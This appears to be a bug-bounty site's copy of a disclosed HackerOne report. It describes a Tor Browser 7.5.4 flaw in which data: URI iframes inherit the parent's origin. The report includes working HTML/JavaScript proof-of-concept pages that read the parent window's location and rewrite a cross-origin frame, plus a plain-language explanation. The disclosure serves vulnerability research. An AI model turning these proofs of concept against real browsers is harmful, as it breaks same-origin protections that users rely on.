Skip to content
XSS Disclosed report Advanced

Tor Browser: iframe with `data:` uri has access to parent window

In Tor Browser, an iframe loaded from a data: URI inherited the origin of its parent page instead of getting a null origin, so the framed content could read the parent window's location and reach sibling frames. The author shows it could also rewrite the location of a frame in a different origin, though direct universal XSS was not achieved.

metnew Follow

Originally disclosed on HackerOne

  • Disclosed after 11 days

Version:

7.5.4 (based on Mozilla Firefox 52.8.0) Tested with standard security slider. However, it's likely to be possible with a higher security level.

Summary

In Tor Browser iframe with data:uri inherits the origin of parent window. That leads to iframe has access to parent window.

PoC

Iframe could access parent window's location

iframe-access-parent.html

HTML
<body>
    <script>
        let f = document.body.appendChild(document.createElement('iframe'))
        f.src =
            'data:text/html,' +
            `<script>alert(parent.location)</scrip` + `t>` 
        // should throw "SecurityError...", instead `alert()` works
    </script>
</body>

iframe could access another iframe with src=data uri

data-uri-access-another-data-uri.html

HTML
<body>
    <script>
        let g = document.body.appendChild(document.createElement('iframe'))
        let f = document.body.appendChild(document.createElement('iframe'))

        g.src =
            'data:text/html,' + 'First iframe with data:uri'

        f.src =
            'data:text/html,' +
            `Second iframe with data:uri <script>alert("Iframe with data:uri could access another same-origin iframe with data:uri, first iframe location is: " + parent.window.frames[0].location.href)</scr` + `ipt>`

    </script>
</body>

data:uri iframe could rewrite content of another cross-origin iframe via data:uri

127.0.0.1:5000/exploit.html
HTML
<body>
    <script>
        let g = document.body.appendChild(document.createElement('iframe'))
        let f = document.body.appendChild(document.createElement('iframe'))

        g.src =
            'http://127.0.0.1:5001/5001.html'

        g.onload = () => {
            f.src =
                'data:text/html,' +
                `Second iframe with data:uri 
                <script>
                    if (!parent.window.frames[0][0]) {
                        console.log('This block called in the context of |Second iframe with data:uri|');
                        console.log('If first script sets parent.window.location to some valid value');
                        console.log('it removes parent.window.frames[0][0].location from the DOM');
                        console.log('Tor re-runs script in this cause, but in context of this window');
                        console.log('e.g. window with |Second iframe with data:uri| text');
                    } else {
                        parent.window.frames[0][0].location = "data:text/html,5000 iframe rewrites  5001<script>
                        window.onload = () => {
                            console.log('This block called in the context of |5000 iframe rewrites 5001|');
                            parent.window.location = 'about:blank'
                        }
                        </scr" + "ipt>";
                    }
                    
                </scr` + `ipt>`
        }

    </script>
    <h4>we could rewrite data:uri in crossdomain windows</h4>
</body>
127.0.0.1:5001/5001.html
HTML
<html>

<body>
    <script>
        let y = document.body.appendChild(document.createElement('iframe'))
        y.src = 'data:text/html,datauri 5001'
    </script>
</body>

</html>

The iframe from 5000 port could rewrite an iframe in a different origin, but it doesn't have access to "parent" at 5001 port, so direct UXSS is impossible.

Also, there is an interesting case described in PoC. Function in the iframe from port 5000 called twice in different contexts.

Expected behavior

1. In latest Chrome, Firefox, Safari iframe with data: uri has null origin and can't access parent window's location.

PoC in Chrome/FF/Safari throws error:

SecurityError: Blocked a frame with origin "null" from accessing a frame with origin "http://127.0.0.1:5000".  The frame requesting access has a protocol of "data", the frame being accessed has a protocol of "http". Protocols must match.

2. iframe can't rewrite another iframe's content via data uri.

Same as in the 1 case.

SecurityError: Permission denied to access property "href" on cross-origin object

3.

FF

NS_ERROR_DOM_PROP_ACCESS_DENIED: Access to property denied

Chrome/Safari

Unsafe JavaScript attempt to initiate navigation for frame with URL...
SecurityError: The operation is insecure.

Impact

Partial SOP violation. Direct UXSS seems impossible, but described behavior opens a wide range of attack scenarios.

  1. Any malicious iframe src=data:uri could access parent
  2. Any malicious iframe src=data:uri could rewrite other frames's location (to data:uri too) in DOM using parent.window.frames

The original report as published on HackerOne, by metnew. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser gave a data: URI iframe the parent's origin rather than a unique null origin, breaking the same-origin policy.

Impact

Partial same-origin policy violation: a malicious data: URI iframe could read the parent's location and rewrite other frames' locations, but direct universal XSS was not demonstrated.

What the attacker needed

Victim uses Tor Browser 7.5.4; attacker page embeds a data: URI iframe

How it was found

  1. Create a page that appends an iframe whose source is a data: URI containing a script.
  2. The script inside the iframe reads the parent window's location, which should be blocked but instead runs.
  3. Add a second data: URI iframe and have it read the location of the first iframe.
  4. Load a page from one local port that embeds a frame from another port, then have a data: URI frame rewrite that cross-origin frame's location.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Web pages normally cannot read or change other pages from a different site; browsers enforce this with the same-origin policy. A data: URI is a page whose whole content is embedded in the link itself, and browsers treat it as having no real site, so it should be blocked from touching the page that embedded it. In this version of Tor Browser it was not blocked, so the embedded page could peek at and partly control the surrounding page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by metnew

View all

25 more disclosed reports, best first.

More from Tor

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.